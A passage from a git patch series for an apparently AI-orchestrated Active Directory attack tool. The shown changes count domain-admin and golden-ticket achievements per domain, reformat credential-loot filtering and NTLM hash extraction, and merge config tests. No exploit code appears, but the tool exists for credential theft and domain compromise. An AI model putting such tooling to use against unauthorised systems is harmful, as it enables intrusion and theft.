ACHIEVED ({da_count}/{total_domains} domains)" + )); + } else { + lines.push("\u{2605} DOMAIN ADMIN ACHIEVED".to_string()); + } if let Some(path) = &state.domain_admin_path { lines.push(format!(" path: {path}")); } } if state.has_golden_ticket { - lines.push("\u{2605} GOLDEN TICKET OBTAINED".to_string()); + let gt_count = achievements + .values() + .filter(|a| a.has_golden_ticket) + .count(); + if total_domains > 0 { + lines.push(format!( + "\u{2605} GOLDEN TICKET OBTAINED ({gt_count}/{total_domains} domains)" + )); + } else { + lines.push("\u{2605} GOLDEN TICKET OBTAINED".to_string()); + } } let inner_width = lines.iter().map(|l| l.len()).max().unwrap_or(0) + 2; println!("\u{250c}{}\u{2510}", "\u{2500}".repeat(inner_width)); diff --git a/ares-cli/src/ops/loot/format/report_filter.rs b/ares-cli/src/ops/loot/format/report_filter.rs index 268a6d6e..d134d3ed 100644 --- a/ares-cli/src/ops/loot/format/report_filter.rs +++ b/ares-cli/src/ops/loot/format/report_filter.rs @@ -172,7 +172,10 @@ mod tests { #[test] fn drops_system_service_accounts() { assert!(!is_reportable_credential(&cred("ssm-user", ""))); - assert!(!is_reportable_credential(&cred("ansible", "fabrikam.local"))); + assert!(!is_reportable_credential(&cred( + "ansible", + "fabrikam.local" + ))); } #[test] diff --git a/ares-cli/src/orchestrator/output_extraction/hashes.rs b/ares-cli/src/orchestrator/output_extraction/hashes.rs index 087767c2..5bff60f9 100644 --- a/ares-cli/src/orchestrator/output_extraction/hashes.rs +++ b/ares-cli/src/orchestrator/output_extraction/hashes.rs @@ -61,8 +61,7 @@ pub fn extract_hashes(output: &str, default_domain: &str) -> Vec { // intended realm and dreadgoad falsely promotes it to "compromised". // Take the most-common prefix; if none, fall back to default_domain. let inferred_domain: Option = { - let mut counts: std::collections::HashMap = - std::collections::HashMap::new(); + let mut counts: std::collections::HashMap = std::collections::HashMap::new(); for line in &unwrapped { if let Some(caps) = RE_NTLM_DOMAIN.captures(line) { let dom = caps.get(1).unwrap().as_str().trim().to_string(); From 8fb8832ae093c6597be83b8fc9a8351272d8a5d7 Mon Sep 17 00:00:00 2001 From: Jayson Grace Date: Sat, 9 May 2026 20:17:45 -0600 Subject: [PATCH 7/7] test: combine env var tests for from_env to avoid race conditions **Changed:** - Merged tests for `AresConfig::from_env` handling of `ARES_CONFIG` env var into a single test to prevent race conditions caused by parallel test execution and shared environment variables --- ares-core/src/config/mod.rs | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/ares-core/src/config/mod.rs b/ares-core/src/config/mod.rs index 53da9893..77937248 100644 --- a/ares-core/src/config/mod.rs +++ b/ares-core/src/config/mod.rs @@ -267,22 +267,21 @@ security: assert_eq!(cfg.model_for_role("new_role"), Some("gpt-4o-mini")); } + // Both ARES_CONFIG cases live in one test — splitting them races on the + // shared process-wide env var when cargo runs tests in parallel. #[test] - fn from_env_with_env_var() { + fn from_env_respects_ares_config() { let f = write_temp_yaml(MINIMAL_YAML); - // Temporarily set env var let path_str = f.path().to_string_lossy().to_string(); + std::env::set_var("ARES_CONFIG", &path_str); let cfg = AresConfig::from_env().unwrap(); assert_eq!(cfg.operation.name, "test-op"); - std::env::remove_var("ARES_CONFIG"); - } - #[test] - fn from_env_missing_file() { std::env::set_var("ARES_CONFIG", "/nonexistent/path/config.yaml"); let result = AresConfig::from_env(); assert!(result.is_err()); + std::env::remove_var("ARES_CONFIG"); }